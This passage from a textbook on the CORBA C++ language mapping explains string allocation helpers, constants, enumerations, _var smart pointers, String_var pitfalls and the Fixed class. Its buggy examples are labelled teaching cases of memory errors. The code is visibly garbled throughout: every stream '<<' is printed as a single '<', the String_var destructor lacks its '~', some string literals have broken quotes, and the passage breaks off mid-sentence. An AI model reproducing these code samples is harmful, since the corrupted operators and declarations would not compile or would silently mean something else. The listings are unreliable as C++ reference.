    static void     string_free(char *); 
     
    static wchar *  wstring_alloc(ULong len); 
    static wchar *  wstring_dup(const wchar *); 
    static void     wstring_free(wchar *); 
    // ... 
} 
 
      
These functions handle dynamic memory for strings and wide strings. The C++ mapping 
requires that you use these helper functions to avoid replacing global operator new[] 
and operator delete[] and because non-uniform memory architectures may have 
special requirements. Under Windows, for example, memory allocated by a dynamic 
library must be deallocated by that same library. The string allocation functions ensure 
that the correct memory management activities can take place. For uniform memory 
models, such as in UNIX, string_alloc and string_free are usually 
implemented in terms of new[] and delete[]. 
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The string_alloc function allocates one more byte than requested by the len 
parameter, so the following code is correct: 
       
char * p = CORBA::string_alloc(5);  // Allocates 6 bytes 
strcpy(p, "Hello");                 // OK, "Hello" fits 
 
      
The preceding code is more easily written using string_dup, which combines the 
allocation and copy: 
       
char * p = CORBA::string_dup("Hello"); 
 
      
Both string_alloc and string_dup return a null pointer if allocation fails. They 
do not throw a bad_alloc exception or a CORBA exception. 
 
The string_free function must be used to free memory allocated with 
string_alloc or string_dup. Calling string_free for a null pointer is safe 
and does nothing. 
 
Do not use delete or delete[] to deallocate memory allocated with 
string_alloc or string_dup. Similarly, do not use string_free to deallocate 
memory allocated with new or new[]. Doing so results in undefined behavior. 
 
The wstring* helper functions have the same semantics as the string* helper 
functions, but they operate on wide strings. As with string_alloc, 
wstring_alloc allocates an additional character to hold the zero terminating value. 

6.7 Mapping for Constants 

Global IDL constants map to file-scope C++ constants, and IDL constants nested inside 
an interface map to static class-scope C++ constants. For example: 
      
const long MAX_ENTRIES = 10; 
interface NameList { 
    const long MAX_NAMES = 20; 
}; 
 
     
This maps to 
      
const CORBA::Long MAX_ENTRIES = 10; 
class NameList { 
public: 
  static const CORBA::Long MAX_NAMES; // Classic or standard C++ 
  // OR: 
  static const CORBA::Long MAX_NAMES = 20; // Standard C++ 
}; 
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This mapping preserves the nesting of scopes used in the IDL, but it means that IDL 
constants that are nested inside interfaces are not C++ compile-time constants. In classic 
(non-standard) C++, initialization of static class members is illegal, so instead of 
generating the initial value into the header file, the IDL compiler generates an 
initialization statement into the stub file. Standard C++, on the other hand, permits 
initialization of constant class members in the class header for integral and enumeration 
types. Therefore, in a standard environment, you may find that constants defined inside 
an interface end up being initialized in the class header. 
 
Normally, the point of initialization is irrelevant unless you use an IDL constant to 
dimension an array: 
      
char * entry_array[MAX_ENTRIES];            // OK 
char * names_array[NameList::MAX_NAMES];    // May not compile 
 
     
You can easily get around this restriction by using dynamic allocation, which works no 
matter how your IDL compiler maps constants: 
      
char * entry_array[MAX_ENTRIES];                        // OK 
char ** names_array = new char *[NameList::MAX_NAMES] ; // OK 
 
     
String constants are mapped as a constant pointer to constant data: 
      
const string    MSG1 = "Hello"; 
const wstring   MSG2 = L"World"; 
 
     
This maps to the following: 
      
// 
// If IDL MSG1 and MSG2 are at global scope: 
// 
const char * const          MSG1 = "Hello"; 
const CORBA::wchar * const  MSG2 = L"World"; 
 
// 
// If IDL MSG1 and MSG2 are in an IDL interface "Messages": 
// 
class Messages { 
public: 
    static const char * const           MSG1; // "Hello" 
    static const CORBA::wchar * const   MSG2; // L"World" 
}; 
 
     
Note that if IDL constants are declared inside a module (instead of an interface), their 
mapping depends on whether you are using a classic or a standard C++ compiler: 
      
module MyConstants { 
    const string GREETING = "Hello"; 
    const double PI = 3.14; 
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}; 
 
     
In classic C++, this maps to 
      
class MyConstants { 
public: 
    static const char * const GREETING; // "Hello" 
    static const CORBA::Double PI;      // 3.14 
}; 
 
     
With a standard C++ compiler, the module maps to a namespace and the constants are in 
the generated header file: 
      
namespace MyConstants { 
    const char * const GREETING = "Hello"; 
    const CORBA::Double PI = 3.14; 
} 
 

6.8 Mapping for Enumerated Types 

IDL enumerated types map to C++ enumerations. The C++ definition appears at the same 
scope as the IDL definition. The enumeration is mapped to C++ unchanged except that a 
trailing dummy enumerator is added to force enumerators to be a 32-bit type: 
      
enum Color { red, green, blue, black, mauve, orange }; 
 
     
This appears in C++ as 
      
enum Color { 
    red, green, blue, black, mauve, orange, 
    _Color_dummy=0x80000000 // Force 32-bit size 
}; 
 
     
The mapping specification does not state what name is used for the dummy enumerator. 
The IDL compiler simply generates an identifier that will not clash with anything else in 
the same scope. 
 
Note that this mapping guarantees that red will have the ordinal value 0, green will 
have the ordinal value 1, and so on. However, this guarantee applies only to the C++ 
mapping and not to all language mappings in general. This means that you cannot 
portably exchange the ordinal values of enumerators between clients and servers. 
However, you can portably exchange the enumerators themselves. To send the 
enumerator value red to a server, simply send red (and not zero). If red is represented 
by a different ordinal value in the target address space, the marshaling code translates it 
appropriately. (The mapping for enumerations is type-safe in C++, so you cannot make 
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this mistake unless you use a cast. However, for other implementation languages, this 
may not be the case.) 

6.9 Variable-Length Types and _var Types 

IDL supports a number of variable-length types, such as strings and sequences. Variable-
length types have special mapping requirements. Because the sizes of variable-length 
values are not known at compile time, they must be dynamically allocated at run time. 
This raises the issue of how dynamic memory is allocated and deallocated as well as your 
responsibilities as the programmer with respect to memory management. 
 
The C++ mapping operates at two different levels. At the lower, or "raw," level, you are 
responsible for all memory management activities. You can choose to code to this level, 
but the price is that you must remember exactly under what circumstances you need to 
allocate and deallocate dynamic memory. The lower level of the mapping also exposes 
you to differences in memory management rules for fixed- and variable-length structured 
types. 
 
At the higher level, the C++ mapping makes life easier and safer by providing a set of 
smart pointer classes known as _var types. _var types relieve you of the burden of 
having to explicitly deallocate variable-length values and so make memory leaks less 
likely. These types also hide differences between fixed- and variable-length structured 
types, so you need not worry constantly about the different memory management rules 
that apply to them. 

6.9.1 Motivation for _var Types 

Programmers new to CORBA and the C++ mapping usually have difficulties coming to 
grips with _var types and understanding when and when not to use them. To clarify the 
motivation for _var types, let us consider a simple programming problem. The problem 
is not specific to CORBA; it applies to C and C++ in general. Here is the problem 
statement: 
 
Write a C function that reads a string from an I/O device and returns that string to the 
caller. The length of the string is unlimited and cannot be determined in advance. 
 
The problem statement captures a frequent programming problem, namely, how to read a 
variable-length value without advance knowledge of the total length of the value. There 
are several approaches to addressing the problem, and each has its own trade-offs. 

Approach 1: Static Memory 

Here is one approach to implementing the helper function: 
        
const char * 
get_string() 
{ 
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    static char buf[10000]; /* Big enough */ 
    /* Read string into buf... */ 
    return buf; 
} 
 
       
This approach has the advantage of simplicity, but it suffers from a number of serious 
drawbacks. 
 
The string to be returned may be longer than you expect. No matter what value you pick 
to dimension the buf array, it may be too small. If the actual string is too long, either you 
overrun the array and the code fails catastrophically, or you must arbitrarily truncate the 
string. 
 
For short strings, the function wastes memory because most of the buf array is not used. 
Each call to get_string overwrites the result of the previous call. If the caller wants 
to keep a previous string, it must make a copy of the previous result before calling the 
function a second time. 
 
The function is not reentrant. If multiple threads call get_string concurrently, the 
threads overwrite one another's results. 

Approach 2: Static Pointer to Dynamic Memory 

Here is a second try at writing get_string: 
        
const char * 
get_string() 
{ 
    static char * result = 0; 
    static size_t rsize = 0; 
    static const size_t size_of_block = 512; 
    size_t rlen; 
    rlen = 0; 
    while (data_remains_to_be_read()) { 
        /* read a block of data... */ 
        if (rsize - rlen < size_of_block) { 
            rsize += size_of_block; 
            result = realloc(result, rsize); 
        } 
        /* append block of data to result... */ 
        rlen += size_of_block; 
    } 
    return result; 
} 
 
       
This approach uses a static pointer to dynamic memory, growing the buffer used to hold 
the data as necessary. Using dynamic memory gets rid of the arbitrary length limitation 
on the string but otherwise suffers the problems of the previous approach: each call still 
overwrites the result of the previous call, and the function is not reentrant. This version 
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can also waste significant amounts of memory, because it permanently consumes 
memory proportional to the worst case (the longest string ever read). 

Approach 3: Caller-Allocated Memory 

In this approach, we make the caller responsible for providing the memory to hold the 
string: 
        
size_t 
get_string(char * result, size_t rsize) 
{ 
    /* read at most rsize bytes into result... */ 
    return number_of_bytes_read; 
} 
 
       
This is the approach taken by the UNIX read system call. It solves most of the problems 
in that it is reentrant, does not overrun memory or arbitrarily truncate data, and is frugal 
with memory. (The amount of potentially wasted memory is under control of the caller.) 
 
The disadvantage is that if the string is longer than the supplied buffer, the caller must 
keep calling until all the data has been read. (Repeated calls by multiple threads are 
reentrant if we assume that the data source is implicit in the calling thread.) 

Approach 4: Return Pointer to Dynamic Memory 

In this approach, get_string dynamically allocates a sufficiently large buffer to hold 
the result and returns a pointer to the buffer: 
        
char * 
get_string() 
{ 
    char * result = 0; 
    size_t rsize = 0; 
    static const size_t size_of_block = 512; 
    while (data_remains_to_be_read) { 
        /* read a block of data... */ 
        rsize += size_of_block; 
        result = realloc(result, rsize); 
        /* append block of data to result... */ 
    } 
    return result; 
} 
 
       
This is almost identical to approach 2 (the difference is that get_string does not use 
static data). It neatly solves all the problems: the function is reentrant, does not impose 
arbitrary size limitations on the result, does not waste memory, and does not require 
multiple remote calls for long results (but dynamic allocation adds a little to the cost of 
collocated calls). 
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The main drawback of this approach is that it makes the caller responsible for 
deallocating the result: 
        
/* ... */ 
{ 
    char * result; 
    result = get_string(); 
    /* Use result... */ 
    free(result); 
     
    /* ... */ 
    result = get_string(); 
    /* ... */ 
     
}   /* Bad news, forgot to deallocate last result! */ 
 
       
Here, the caller returns from a block without deallocating the result returned by 
get_string. The memory occupied by the result can never be reclaimed. Repeated 
mistakes of this kind doom the caller to an inevitable death. Eventually, the caller runs 
out of memory and is aborted by the operating system, or, in an embedded system, the 
caller may lock up the machine. 

6.9.2 Memory Management for Variable-Length Types 

From the preceding discussion, it should be clear that approaches 1 and 2 are not suitable 
for the C++ mapping because they are not reentrant. Approach 3 is not an option, because 
the cost of repeated calls becomes prohibitive if caller and callee are on different 
machines. 
 
This leaves approach 4, which is the approach taken by the C++ mapping for variable-
length types. The C++ mapping makes the caller responsible for deallocating a variable-
length result when it is no longer needed. 
 
By definition, the following IDL types are considered variable-length: 
 
Strings and wide strings (whether bounded or unbounded) 
 
Object references 
Type any 
Sequences (whether bounded or unbounded) 
Structures and unions if they (recursively) contain variable-length members 
Arrays if they (recursively) contain variable-length elements 
 
For example, an array of double is a fixed-length type, whereas an array of string is 
a variable-length type. 
 
For each structured IDL type in a definition, the IDL compiler generates a pair of C++ 
types. For example, for an IDL union foo, the compiler generates two C++ classes: class 
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foo and class foo_var. Class foo provides all the functionality required to use the 
union and corresponds to the lower mapping level. Class foo_var provides the higher 
mapping level by acting as a memory management wrapper around class foo. In 
particular, if class foo happens to represent an IDL variable-length type, class foo_var 
takes care of deallocating foo instances at the appropriate time. 
 
The correspondence between IDL types and the lower and higher mapping levels is 
shown in Table 6.2. 
 

Table 6.2. Correspondence of IDL types to C++ types. 
IDL Type C++ Type Wrapper C++ Type 

string char * CORBA::String_var 
any CORBA::Any CORBA::Any_var 
interface foo foo_ptr class foo_var 
struct foo struct foo class foo_var 
union foo class foo class foo_var 
typedef sequence<X> foo[10]; class foo class foo_var 
typedef X foo[10]; typedef X foo[10]; class foo_var 
 
Note that structures, unions, and arrays can be fixed-length or variable-length. The IDL 
compiler generates a _var class even if the corresponding IDL type is fixed-length. For 
a fixed-length type, the corresponding _var class effectively does nothing. As you will 
see in Section 6.19, this class is useful for hiding the memory management differences 
between fixed-length and variable-length types. 
 
_var classes have similar semantics as the standard C++ auto_ptr template. However, 
the C++ mapping does not use auto_ptr (and other standard C++ types) because at the 
time the mapping was developed, many of the standard C++ types were not yet conceived. 
We explore _var classes and their uses incrementally throughout the next few chapters. 
For now, we examine CORBA::String_var as an example of how _var classes help 
with dynamic memory management. 

6.10 The String_var Wrapper Class 

The class CORBA::String_var provides a memory management wrapper for char 
*, shown in Figure 6.1. The class stores a string pointer in a private variable and takes 
responsibility for managing the string's memory. To make this more concrete, following 
is the class definition for String_var. We examine the purpose of each member 
function in turn. Once you understand how String_var works, you will need to learn 
little new for the remaining _var classes. The _var classes for structures, unions, and 
so on are very similar to String_var. 
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Figure 6.1 String_var wrapper class. 

 
      
class String_var { 
public: 
                      String_var(); 
                      String_var(char * p); 
                      String_var(const char * p); 
                      String_var(const String_var & s); 
                       String_var(); 
                        
    String_var &  operator=(char * p); 
    String_var &  operator=(const char * p); 
    String_var &  operator=(const String_var & s); 
     
                      operator char *(); 
                      operator const char *() const; 
                      operator char * &(); 
                       
    char &        operator[](ULong index); 
    char              operator[](ULong index) const; 
     
    const char *    in() const; 
    char * &         inout(); 
    char * &         out(); 
    char *          _retn(); 
}; 
 
     
String_var() 
The default constructor initializes a String_var to contain a null pointer. If you use a 
default-constructed String_var value without initializing it first, you will likely suffer 
a fatal crash because the code ends up dereferencing a null pointer: 
      
CORBA::String_var s; 
cout < "s = \"" < s < "\"" < endl; // Core dump imminent! 
 
     
String_var(char *) 
This constructor initializes the String_var from the passed string. The String_var 
takes responsibility for the string: it assumes that the string was allocated with 
CORBA::string_alloc or CORBA::string_dup and calls 
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CORBA::string_free when its destructor runs. The point is that you can initialize 
the String_var with a dynamically allocated string and forget about having to 
explicitly deallocate the string. The String_var takes care of deallocation when it 
goes out of scope. For example: 
      
{ 
    CORBA::String_var s(CORBA::string_dup("Hello")); 
    // ... 
}   // No memory leak here, ~String_var() calls string_free(). 
 
     
String_var(const char *) 
If you construct a String_var using the const char * constructor, the 
String_var makes a deep copy of the string. When the String_var goes out of 
scope, it deallocates its copy of the string but leaves the original copy unaffected. For 
example: 
      
const char * message = "Hello"; 
// ... 
 
{ 
    CORBA::String_var s(message);   // Makes a deep copy 
    // ... 
}   // ~String_var() deallocates its own copy only. 
 
cout < message < endl;      // OK 
 
     
String_var(const String_var &) 
The copy constructor also makes a deep copy. If you initialize one String_var from 
another String_var, modifications to one copy do not affect the other copy. 
~String_var 
 
The destructor calls CORBA::string_free to deallocate the string held by the 
String_var. 
String_var & operator=(char *) 
String_var & operator=(const char *) 
String_var & operator=(const String_var &) 
 
The assignment operators follow the conventions of the constructors. The char * 
assignment operator assumes that the string was allocated with string_alloc or 
string_dup and takes ownership of the string. 
 
The const char * assignment operator and the String_var assignment operator 
each make a deep copy. 
 
Before accepting the new string, the assignment operators first deallocate the current 
string held by the target. For example: 
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CORBA::String_var target; 
target = CORBA::string_dup("Hello");    // target takes ownership 
CORBA::String_var source; 
source = CORBA::string_dup("World");    // source takes ownership 
target = source;    // Deallocates "Hello" and takes 
                    // ownership of deep copy of "World". 
operator char *() 
operator const char *() const 
 
     
These conversion operators permit you to pass a String_var as a char * or const 
char *. For example: 
      
CORBA::String_var s; 
s = get_string();   // get_string() allocates with string_alloc(), 
                    // s takes ownership 
size_t len; 
len = strlen(s);    // const char * expected, OK 
 
     
The main reason for the conversion operators is to let you transparently pass a 
String_var to IDL operations that expect an argument of type char * or const 
char *. We discuss the details of parameter passing in Chapter 7. 
operator char * &() 
This conversion operator allows you to pass a string for modification to a function using 
a signature such as 
      
void update_string(char * &); 
 
     
Conversion to a reference to the pointer (instead of just to the pointer) is necessary so that 
the called function can increase the length of the string. A reference to the pointer is 
passed because lengthening the string requires reallocation, and this in turn means that 
the pointer value, and not just the bytes it points to, needs to change. 
 
char & operator[](ULong) 
char operator[](ULong) const 
 
The overloaded subscript operators permit you to use an index to get at the individual 
characters of a String_var as if it were an array. For example: 
      
CORBA::String_var s = CORBA::string_dup("Hello"); 
cout < s[4] < endl;                               // Prints 'o' 
 
     
Strings are indexed as ordinary arrays are, starting at zero. For the "Hello" string, the 
expression s[5] is valid and returns the terminating NUL byte. Attempts to index 
beyond the NUL terminator result in undefined behavior. 
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6.10.1 Pitfalls of Using String_var 

As you will see in Section 7.14.12, class String_var (and the other _var classes) 
exists mainly to deal with return values and out parameters for operation invocations. 
There are a number of situations in which String_var can be used inefficiently or 
inappropriately. Following are some of the pitfalls. 

Initialization or Assignment from String Literals 

String literals need special attention, at least if you are using classic (non-standard) C++; 
the type of a string literal is char * in classic C++ but is const char * in standard 
C++. If you are using a classic C++ compiler, the following code is guaranteed to crash 
sooner or later: 
        
CORBA::String_var s1("Hello");  // Looming disaster! 
CORBA::String_var s2 = "Hello"; // Same problem! 
 
       
Note that even though the second declaration looks like an assignment, it really is a 
declaration, and therefore both s1 and s2 are initialized by a constructor. The question is, 
which constructor? 
 
In classic C++, the type of the string literal "Hello", when passed as an argument, is 
char *. The compiler therefore invokes the char * constructor, which takes 
ownership of the passed string. When s1 and s2 are destroyed, the destructor invokes 
string_free with an address in the initialized data segment. Of course, freeing non-
heap memory results in undefined behavior and in many implementations causes a core 
dump. 
 
The same problem arises if you assign a string literal to a String_var: 
        
CORBA::String_var s3; 
s3 = "Hello";       // Calls operator=(char *), looming disaster! 
 
       
Again, in classic C++, the type of "Hello" is char * (and not const char *), so 
the assignment is made by a call to String_var::operator=(char *). As with 
the char * constructor, this operator assigns ownership of the string to the 
String_var, and that will cause the destructor to attempt to free non-heap memory. 
 
To work around this problem, either you can create a copy of the literal yourself and 
make the String_var responsible for the copy, or you can force a deep copy by 
casting to const char *: 
        
// Force deep copy 
CORBA::String_var s1((const char *)"Hello"); 
 
// Explicit copy 
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CORBA::String_var s2(CORBA::string_dup("Hello")); 
 
// Force deep copy 
CORBA::String_var s3 = (const char *)"Hello"; 
 
// Explicit copy 
CORBA::String_var s4 = CORBA::string_dup("Hello"); 
 
CORBA::String_var s5; 
s5 = (const char *)"Hello";         // Force deep copy 
 
CORBA::String_var s6; 
s6 = CORBA::string_dup("Hello");    // Explicit copy 
 
const char * p = "Hello";           // Make const char * pointer 
 
CORBA::String_var s7(p);            // Make deep copy 
CORBA::String_var s8 = p;           // ditto... 
CORBA::String_var s9; 
s9 = p;                             // ditto... 
 
       
The preceding code shows various ways of initializing and assigning string literals. In all 
cases, each String_var variable ends up with its own separate copy of the literal, 
which can be deallocated safely by the destructor. 
 
Wherever a cast to const char * is used, the constructor or assignment operator 
makes a deep copy. Wherever a call to string_dup is used, a copy of the string literal 
is created explicitly, and the String_var takes responsibility for deallocation of the 
copy. 
 
Both approaches are correct, but as a matter of style we prefer a call to string_dup 
instead of a cast. To a casual reader, casts indicate that something unusual is happening, 
whereas calling string_dup emphasizes that an allocation is made. 
 
The explicit copy style works correctly for both classic and standard C++, and we use 
that style throughout the remainder of this book. Of course, if you are working 
exclusively in a standard C++ environment, the following is safe: 
        
CORBA::String_var s = "Hello";  // OK for standard C+ +, deep copy 
 
       

Assignment of String_var to Pointers 

If you assign a String_var variable to a char * or const char * variable, you 
need to remember that the assigned pointer will point at memory internal to the 
String_var. This means that you need to take care when using the pointer after such 
an assignment: 
        
CORBA::String_var s1 = CORBA::string_dup("Hello"); 
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const char * p1 = s1;   // Shallow assignment 
char * p2; 
{ 
    CORBA::String_var s2 = CORBA::string_dup("World"); 
    p2 = s2;            // Shallow assignment 
    s1 = s2;            // Deallocate "Hello", deep copy "World" 
} // Destructor deallocates s2 ("World") 
 
cout < p1 < endl;     // Whoops, p1 points nowhere 
cout < p2 < endl;     // Whoops, p2 points nowhere 
 
       
This code illustrates two common mistakes. Both of them arise from the fact that 
assignment from a String_var to a pointer is always shallow. 
 
The first pointer assignment (p1 = s1) makes p1 point at memory still owned by s1. 
The assignment s1 = s2 is a deep assignment, which deallocates the initial value of s1 
("Hello"). The value of p1 is not affected by this, so p1 now points at deallocated 
memory. 
 
The second pointer assignment (p2 = s2) is also a shallow assignment, so p2 points at 
memory owned by s2. When s2 goes out of scope, its destructor deallocates the string, 
which leaves p2 pointing at deallocated memory. 
 
This does not mean that you should never assign a String_var to a pointer (in fact, 
such assignments are often useful). However, if you make such an assignment and want 
to use the pointer, you must ensure that the pointed-to string is not deallocated by 
assignment or destruction. 

6.10.2 Passing Strings as Parameters for Read Access 

Frequently, you will find yourself writing functions that accept strings as parameters for 
read access. Your program is also likely to have variables of both type char * and type 
String_var. It would be nice to have a single helper function that could deal with both 
types. Given the choice of char * and String_var, how should you declare the 
formal parameter type of such a function? 
 
Here is how not to do it: 
       
void 
print_string(CORBA::String_var s) 
{ 
    cout < "String is \"" < s < "\"" < endl; 
} 
 
int 
main() 
{ 
    CORBA::String_var msg1 = CORBA::string_dup("Hello"); 
    print_string(msg1);  // Pass String_var 
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    return 0; 
} 
 
      
This code is correct but inefficient. The print_string function expects a parameter 
of type String_var. The parameter is passed by value, and that forces the compiler to 
create a temporary String_var instance that is passed to print_string. The result 
is that for every call to print_string, several function calls are actually made: a call 
to the copy constructor to create the temporary, followed by a call to an overloaded 
ostream operator< to print the string, followed by a call to the destructor to get rid 
of the temporary String_var again. The constructor calls string_dup (which calls 
strcpy), and the destructor calls string_free. The string_dup and 
string_free functions will probably call operator new[] and operator 
delete[], which in turn are often implemented in terms of malloc and free. This 
means that the preceding innocent-looking piece of code can actually result in as many as 
ten function calls for each call to print_string! 
 
In most implementations, at least some of the function calls will be inlined, so the cost is 
not quite as dramatic as it may first seem. Still, we have observed massive slowdowns in 
large systems because of such innocent mistakes. Most of the cost arises from the hidden 
dynamic memory allocation. As shown in [11], allocating and destroying a class instance 
on the heap is on average about 100 times as expensive as allocating and destroying the 
same instance on the stack. 
 
Here is another problem with the print_string function: 
       
print_string("World"); // Call with char *, looming disaster! 
 
      
This code compiles fine, and it prints exactly what you think it should. However, it will 
likely cause your program to dump core. This happens for the same reasons as discussed 
earlier: the type of the string literal is char * (at least in classic C++), and that 
eventually results in an attempt to deallocate non-heap memory in the destructor. 
 
The key to writing print_string correctly is to pass a formal argument of type 
const char *: 
       
void 
print_string(const char * s) 
{ 
    cout < "String is \"" < s < "\"" < endl; 
} 
 
int 
main() 
{ 
    CORBA::String_var msg1 = CORBA::string_dup("Hello"); 
    print_string(msg1);     // Pass String_var, fine 
    print_string("World");  // Pass as const char *, fine too 
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    return 0; 
} 
 
      
With this definition of print_string, things are well behaved. When the actual 
parameter is of type String_var, the compiler uses the const char * conversion 
operator to make the call. The conversion operator returns the private pointer inside the 
String_var and is typically inlined, and that keeps the cost of the call to a minimum. 
Passing the string literal "World" to print_string does not create problems. The 
literal is simply passed as a const char * to the function. 
 
No temporary is created in either case, and no calls to the memory allocator are necessary. 

6.10.3 Passing Strings as Parameters for Update Access 

To pass a string either as a char * or as a String_var to a function for update, a 
formal parameter of type String_var & will not work. If you pass a char * where a 
String_var & is expected, the compiler creates a temporary. This results in 
construction of a String_var from a char * literal and eventually causes a core 
dump. To get it right, we must use a formal argument type of char * &: 
       
void 
update_string(char * & s) 
{ 
    CORBA::string_free(s); 
    s = CORBA::string_dup("New string"); 
} 
int 
main() 
{ 
    CORBA::String_var sv = CORBA::string_dup("Hello"); 
    update_string(sv); 
    cout < sv < endl; // Works fine, prints "New string" 
    char * p = CORBA::string_dup("Hello"); 
    update_string(p); 
    cout < p < endl; // Fine too, prints "New string" 
    CORBA::string_free(p); 
    return 0; 
} 
 
      
A final warning: update_string assumes that the string it is passed was allocated 
with string_alloc or string_dup. This means that the following code is not 
portable: 
       
char * p = new char[sizeof("Hello")]; 
strcpy(p, "Hello"); 
update_string(p);                   // Bad news! 
delete[] p; 
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This code causes a string allocated by new[] to be deallocated by string_free and 
causes a string allocated by string_dup to be deallocated by delete[], and that 
simply does not work on some platforms. 
 
Calling update_string with an uninitialized pointer is also asking for trouble, 
because it results in passing a stray pointer to string_free, most likely with 
disastrous consequences. However, passing a variable initialized to null is safe; 
string_free does nothing when given a null pointer. 

6.10.4 Problems with Implicit Type Conversions 

Passing a String_var where a char * is expected relies on implicit type conversion. 
Some compilers do not correctly apply conversion operators, or they incorrectly complain 
about ambiguous calls. Rather than expect every C++ compiler to be perfect, the C++ 
mapping provides member functions that allow you to perform explicit conversions. 
These member functions are in, inout, out, and _retn (the names suggest the use 
for passing a parameter in the corresponding direction). 
       
const char * in() const 
 
      
You can call this conversion function if your compiler rejects an attempt to pass a 
String_var where a const char * is expected. For example: 
       
void print_string(const char * s) { /* ... */ } // As before 
 
// ... 
 
CORBA::String_var sv(CORBA::string_dup("Hello")); 
print_string(sv);            // Assume compiler bug prevents this 
print_string(sv.in());       // Explicit call avoids compiler bug 
 
      
The in member function returns the private pointer held by the String_var wrapper 
as a const char *. You could achieve the same thing by using a cast: 
       
print_string((const char *)sv); 
 
      
This code explicitly invokes operator const char * on the String_var. 
However, using the in member function is safer than a "sledge-hammer" cast that 
bypasses all type checking. Similar arguments apply to using the inout and out 
member functions in preference to a cast. 
       
char * & inout() 
 
      
You can call the inout member function if your compiler refuses to accept a 
String_var where a char * & is expected. For example: 
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void update_string(char * & s) { /* ... */ } // As before 
 
// ... 
 
CORBA::String_var sv; 
update_string(sv);              // Assume compiler bug prevents this 
update_string(sv.inout());      // Explicit call avoids compiler bug 
 
      
The inout member function returns a reference to the pointer held by the 
String_var wrapper so that it can be changed (for example, by reallocation). 
       
char * & out() 
 
      
This conversion operator allows you to pass a String_var as an output parameter 
where a char * & is expected. The out member function differs from the inout 
member function in that out deallocates the string before returning a reference to a null 
pointer. To see why this is necessary, consider the following helper function: 
       
void 
read_string(char * & s) // s is an out parameter 
{ 
    // Read a line of text from a file... 
    s = CORBA::string_dup(line_of_text); 
} 
 
      
The caller can use read_string as follows without causing a memory leak: 
       
CORBA::String_var line; 
read_string(line.out());           // Skip first line 
read_string(line.out());           // Read second line - no memory leak 
cout < line < endl;          // Print second line 
 
      
Calling the out member function does two things: it first deallocates whatever string is 
currently held by the String_var, and then it returns a reference to a null pointer. This 
behavior allows the caller to call read_string twice in a row without creating a 
memory leak. At the same time, read_string need not (but can) deallocate the string 
before allocating a new value. (If it deallocates the string, no harm is done because 
deallocation of a null pointer is safe.) 

6.10.5 Yielding Ownership of a String 

The _retn member function returns the pointer held by a String_var and also yields 
ownership of the string. This behavior is useful if a function must return a dynamically 
allocated string and also must worry about error conditions. For example, consider a 
get_line helper function that reads a line of text from a database. The caller uses the 
function this way: 
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for (int i = 0; i < num_lines; i++) { 
    CORBA::String_var line = get_line(); 
    cout < line < endl; 
} // Destructor of line deallocates string 
 
      
Consider how this works. The get_line function dynamically allocates the returned 
string and makes the caller responsible for deallocation. The caller responds by catching 
the return value in the String_var variable line. This makes line responsible for 
deallocating each returned line in its destructor. Because line is declared inside the 
body of the loop, it is created and destroyed once per iteration, and the memory allocated 
to each line is deallocated immediately after each line is printed. 
 
Following is an outline of the get_line function. The important point is that 
get_line may raise an exception after it has allocated the string: 
       
char * 
get_line() 
{ 
    // Open database connection and read string into buffer... 
     
    // Allocate string 
    CORBA::String_var s = CORBA::string_dup(buffer); 
     
    // Close database connection 
    if (db.close() == ERROR) { 
        // Whoops, a serious problem here 
        throw DB_CloseException(); 
    } 
     
    // Everything worked fine, return string 
    return s._retn(); 
} 
 
      
The trick here is that the variable s is a String_var. If an exception is thrown 
sometime after memory is allocated to s, there is no need to worry about memory leaks; 
the compiler takes care of invoking the destructor of s as it unwinds the stack to 
propagate the exception. 
 
In the normal case, in which no error is encountered, get_line must return the string 
and make the caller responsible for freeing it. This means that get_line cannot simply 
return s (even though it would compile), because then the string would be incorrectly 
deallocated twice: once by the destructor of s, and a second time by the caller. 
 
The final statement in get_line could be the following instead: 
       
return CORBA::string_dup(s); 
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This code is correct but makes an unnecessary and expensive copy of the string. By 
invoking the _retn member function instead, get_line transfers responsibility for 
deallocating s to the caller. This technique leaves the string in place and avoids the cost 
of making a copy. 

6.10.6 Stream Operators 

The C++ mapping provides overloaded String_var insertion and extraction operators 
for C++ iostreams: 
       
CORBA::String_var s = ...; 
cout < "String is "" < (s != 0 ? s : "") < """ < endl; 
cin >> s; 
cout < "String is now "" < (s != 0 ? s : "") < "\"" < endl; 
 
 
      
Overloaded operators are provided for istream and ostream, so they can also be 
used with string (strstream) and file (fstream) classes. 

6.11 Mapping for Wide Strings 

The mapping for wide strings is almost identical to that for strings. Wide strings are 
allocated and deallocated with the functions wstring_alloc, wstring_dup, and 
wstring_free. The mapping also provides a WString_var class (in the CORBA 
namespace) that behaves like a String_var but operates on wide strings. 

6.12 Mapping for Fixed-Point Types 

C++ does not have built-in fixed-point types, so C++ support for fixed-point types and 
arithmetic is provided by a class and a number of overloaded operator functions: 
      
namespace CORBA { 
    // ... 
    class Fixed { 
    public: 
                       Fixed(int val = 0); 
                       Fixed(unsigned); 
                       Fixed(Long); 
                       Fixed(LongLong); 
                       Fixed(ULongLong); 
                       Fixed(Double); 
                       Fixed(LongDouble); 
                       Fixed(const char *); 
                        
                       Fixed(const Fixed &); 
                       ~Fixed(); 
                        
       operator        LongLong() const; 
       operator        LongDouble() const; 
       Fixed           round(UShort scale) const; 
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       Fixed           truncate(UShort scale) const; 
        
       Fixed &     operator=(const Fixed &); 
       Fixed &     operator+=(const Fixed &); 
       Fixed &     operator-=(const Fixed &); 
       Fixed &     operator*=(const Fixed &); 
       Fixed &     operator/=(const Fixed &); 
        
       Fixed &     operator++(); 
       Fixed           operator++(int); 
       Fixed &     operator--(); 
       Fixed           operator--(int); 
       Fixed           operator+() const; 
       Fixed           operator-() const; 
       Boolean         operator!() const; 
        
       UShort          fixed_digits() const; 
       UShort          fixed_scale() const; 
    }; 
     
    istream &  operator>>(istream &, Fixed &); 
    ostream &  operator<(ostream &, const Fixed &); 
    Fixed          operator+(const Fixed &, const Fixed &); 
    Fixed          operator-(const Fixed &, const Fixed &); 
    Fixed          operator*(const Fixed &, const Fixed &); 
    Fixed          operator/(const Fixed &, const Fixed &); 
     
    Boolean        operator<(const Fixed &, const Fixed &); 
    Boolean        operator>(const Fixed &, const Fixed &); 
    Boolean        operator<=(const Fixed &, const Fixed &); 
    Boolean        operator>=(const Fixed &, const Fixed &); 
    Boolean        operator==(const Fixed &, const Fixed &); 
    Boolean        operator!=(const Fixed &, const Fixed &); 
     
    // ... 
} 
 
     
This mapping enables you to use fixed-point quantities in C++ and to perform 
computations on them. Note that a single generic Fixed class is used, so the IDL 
compile-time digits and scale for fixed-point types become run-time values in C++. 

6.12.1 Constructors 

The Fixed class provides a number of constructors that permit construction from integer 
and floating-point types. 
 
The default constructor initializes the value of a Fixed to zero and internally sets the 
